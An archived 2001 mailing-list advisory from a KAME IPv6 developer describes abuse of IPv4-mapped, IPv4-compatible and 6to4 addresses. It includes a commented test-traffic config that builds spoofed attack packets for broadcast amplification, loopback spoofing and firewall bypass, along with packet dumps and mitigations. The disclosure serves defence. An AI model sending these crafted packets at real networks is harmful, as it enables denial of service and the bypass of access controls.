this is Jun-ichiro Hagino from KAME project (*BSD IPv6 impementer). there are some issues with some of the IPv6 specifications: - RFC2553 (IPv6 API), section 4.2 AF_INET6 socket receives IPv4 traffic as IPv4 mapped address (like ::ffff:10.0.0.1). - RFC2893 (IPv6-over-IPv4 tunnelling), section 5 IPv6 traffic to IPv4 compatible address (like ::10.0.0.1) will automatically be encapsulated into IPv4 packet - RFC2529 (6to4 tunnel) IPv6 traffic to 2002::/16 are will automatically be encapsulated into IPv4 packet basically, the problem is in the use of IPv4 address embedded into IPv6 address. bad guys can trick naively-implemented IPv6 nodes and make them generate certain IPv4 traffic (like subnet broadcst), or bypass IPv4 access controls. RFC2893 and RFC2529 includes some security warning, however, RFC2553 does not include any warnings and can easily lead to vulnerable implementation. the attached file is a KAME v6test (test traffic generator) config file, which generates attack packets. the config file is heavily commented so i hope you can understand the details. let me know if you see realworld implementations that are vulnerable (our stack, as well as *BSD IPv6 integration, is of course not vulnerable, but i guess there are a lot). http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-01.txt http://www.kame.net/dev/cvsweb.cgi/kame/kame/kame/v6test/conf/transition-abuse.conf I'm an advocator of IPv6 who is trying to make IPv6 API/implementation safer. I'm trying let the implementer communities know about the issue. this is definitely *not* a showstopper for IPv6 (in fact, i'm appy with my stack which comes with enough sanity checks against the issue - the email posting actually went through our IPv6 infrastructure to bugtraq mail server). i do not start flamewar about IPv6 vs IPv4. thanks for all KAME users/developers, IETF people and *BSD groups for discussions and help. itojun # $KAME: transition-abuse.conf,v 1.13 2001/06/23 15:55:19 itojun Exp $ # for more details/discussions, see # http://playground.iijlab.net/i-d/draft-itojun-ipv6-transition-abuse-01.txt # abuse of IPv4 mapped address. under the following conditions: # - the victim kernel stack does not check against IPv4 mapped address on # IPv6 native packet # - the victim node runs udp echo service (inetd) on AF_INET6 socket # the victim node can generate IPv4 broadcast responses mistakenly, # leading to DoS. # # the example also tries bypass access controls and attack inside the firewall # from outside (works nicer when 9.0.0.1 is an IPv4 firewall). # # you can attack any udp services by the same way. udp echo service works the # best for bad guys (or the worst for victims) since udp packet format is # common to IPv4 and IPv6, and echo service is common for IPv4 and IPv6. # therefore, the broadcast response will call for more responses (assumption: # inetd does not check udp source port). # attacker -> victim: from ::ffff:10.255.255.255 to ::ffff:9.0.0.1 # victim -> broadcast: from 9.0.0.1 to 10.255.255.255 # more response: from many guys to 9.0.0.1 # # RFC2553 does NOT comment on this case. also, if the victim node supports # SIIT (RFC2765) environment, the kernel stack is unable to filter out # the packet. # # to protect your implmentation from the attack, there are multiple ways. # 1. do not support IPv4 mapped address on AF_INET6 API (not compatible with # RFC2553 section 4.2). # 2. implement 2553bis-03 IPV6_V6ONLY socket option, and make the default value # to on (the default value suggested by the document is "off"). # this has almost the same effect as the first bullet (if userland # code changes IPV6_V6ONLY manually, you will become vulnerable again # depending on userland program). the change will make your stack # incompatible with 2553bis-03 section 4.2. # 3. drop any IPv6 native packet with IPv4 mapped address (incompatible with # RFC2765). # 4. on EVERY userland application check the IPv6 source address, if it # embeds bad IPv4 address (impossible in reality, as it's hard to know what # is "bad" address, and there are millions of coders in different places) # 5. implement server applications by using AF_INET and AF_INET6 listening # socket. do not try to utilize RFC2553 section 4.2. if you use # getaddrinfo(3) with AI_PASSIVE flag, you can implement address-family # independent applications easily. # depending on bind(2) semantics implemented in the kernel, this may not be # possible. some IPv6 stack does not permit bind(2) to ::, after bind(2) # to 0.0.0.0. # for the best protection the author recommends to implement (1), (3) and (5). # # of course, KAME is not affected. the implementation status differs # between *BSD base systems (due to policy differences in *BSD). # - KAME/OpenBSD: (1) and (3) - always safe # - KAME/NetBSD: (2) and (3) - safe as long as userland programmer does # not change IPV6_V6ONLY # - KAME/FreeBSD and KAME/BSDI: (3) - subject to API complications # all KAME userland appliations are implemented by using # getaddrinfo(AI_PASSIVE), like (5). # 00:28:37.148869 ::ffff:10.255.255.255.7 > ::ffff:9.0.0.1.7: [udp sum ok] udp 0 (len 8, hlim 255) # 6000 0000 0008 11ff 0000 0000 0000 0000 # 0000 ffff 0aff ffff 0000 0000 0000 0000 # 0000 ffff 0900 0001 0007 0007 0008 ebd0 v4mapped1:\ :ip6-v4mapped1:udp1: ip6-v4mapped1:\ :ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\ :ip6_src="::ffff:10.255.255.255":\ :ip6_dst="::ffff:9.0.0.1": udp1:\ :udp_sport#7:udp_dport#7: # one more abuse of IPv4 mapped address. # bad guy pretends that the traffic is from the machine itself. # if the victim node re-selects source address on the first udp echo response, # we will see infinite IPv4 echo traffic on loopback interface # # note: most of recent BSD inetd rejects udp echo with source port = 7, # so they are safe. however, it is still true that we can bypass access # control like this. # 00:28:51.286261 ::ffff:127.0.0.1.7 > ::ffff:9.0.0.1.7: [udp sum ok] udp 0 (len 8, hlim 255) # 6000 0000 0008 11ff 0000 0000 0000 0000 # 0000 ffff 7f00 0001 0000 0000 0000 0000 # 0000 ffff 0900 0001 0007 0007 0008 77ce v4mapped2:\ :ip6-v4mapped2:udp1: ip6-v4mapped2:\ :ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\ :ip6_src="::ffff:127.0.0.1":\ :ip6_dst="::ffff:9.0.0.1": # abuse of IPv4 compatible address (auto tunnel). under the following # conditions: # - the victim kernel stack supports auto tunnel # the victim node will generate IPv4 broadcast responses, leading to DoS. # # the example also tries bypass access controls and attack inside the firewall # from outside (works nicer when 9.0.0.1 is an IPv4 firewall). # # with other IPv6 source address, bad guys can attack other IPv4 victim nodes # anonymously. however, IPv4 packet will always be tunnelled IPv6 packet # (ip.ip_p == 41), therefore there will be no further traffic amplicfication. # # RFC2893 has a comment for embedded broadcast/multicast case, however, # the set of rules does not make a perfect protection. # # KAME is not affected, since it does not support auto tunnels and it drops # packets with IPv4 compatible address. # 00:29:02.702670 ::10.255.255.255 > ::9.0.0.1: icmp6: echo request (len 8, hlim 255) # 6000 0000 0008 3aff 0000 0000 0000 0000 # 0000 0000 0aff ffff 0000 0000 0000 0000 # 0000 0000 0900 0001 8000 6bbd 0000 0000 v4compat:\ :ip6-v4compat:icmp6echo: ip6-v4compat:\ :ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\ :ip6_src="::10.255.255.255":\ :ip6_dst="::9.0.0.1": icmp6echo:\ :icmp6_type=echo:icmp6_code#0:icmp6_cksum=auto:icmp6_id#0:\ :icmp6_seq#0: # abuse of 6to4. under the following conditions: # - the victim node is configured as an 6to4 relay # the victim node will generate IPv4 broadcast responses, leading to DoS. # # with other IPv6 source address, bad guys can attack other IPv4 victim nodes # anonymously. however, IPv4 packet will always be tunnelled IPv6 packet # (ip.ip_p == 41), therefore there will be no further traffic amplicfication. # # RFC2529 suggests checks against embedded broadcat addresses, but it # does not work in reality. for example, 9.0.0.1 has no idea about topology # within 16.0.0.0/8 topology, and has no idea about IPv4 broadcast address # assignments. # because of this, the following example tries to generate a packet to # 16.255.255.255 by using 9.0.0.1 (6to4 relay) as trampoline, and hide the # identity of the real attacker. # if the admin at 16.0.0.0/8 is careful enough to drop directed broadcasts, # the scenario does not work. # # RFC2529 has a comment for embedded broadcast/multicast case, as well as # private address cases. so if an implementation follows the suggestion, # there is less chance for vulnerability. but - beware, "less" chance, not # "no" chance. you are still vulnerable to some of the scenarios. # # KAME is not affected, as long as you don't configure your machine as 6to4 # relay. if you configure KAME as 6to4 relay, you are vulnerable to some # of the attack scenarios. # 00:28:25.121083 2002:10ff:ffff::1 > 2001:900:1::1: icmp6: echo request (len 8, hlim 255) # 6000 0000 0008 3aff 2002 10ff ffff 0000 # 0000 0000 0000 0001 2001 0900 0001 0000 # 0000 0000 0000 0001 8000 25b8 0000 0000 stf:\ :ip6-stf:icmp6echo: ip6-stf:\ :ip6_flow#0:ip6_plen=auto:ip6_nxt=auto:ip6_hlim#255:\ :ip6_src="2002:10ff:ffff::1":\ :ip6_dst="2001:0900:0001::1": # homework: try using these addresses in extension headers (routing header, # home address option, whatever) and come up with more complex attack scnearios.
This archive was generated by hypermail 2b30 : Sun Jun 24 2001 - 09:33:56 PDT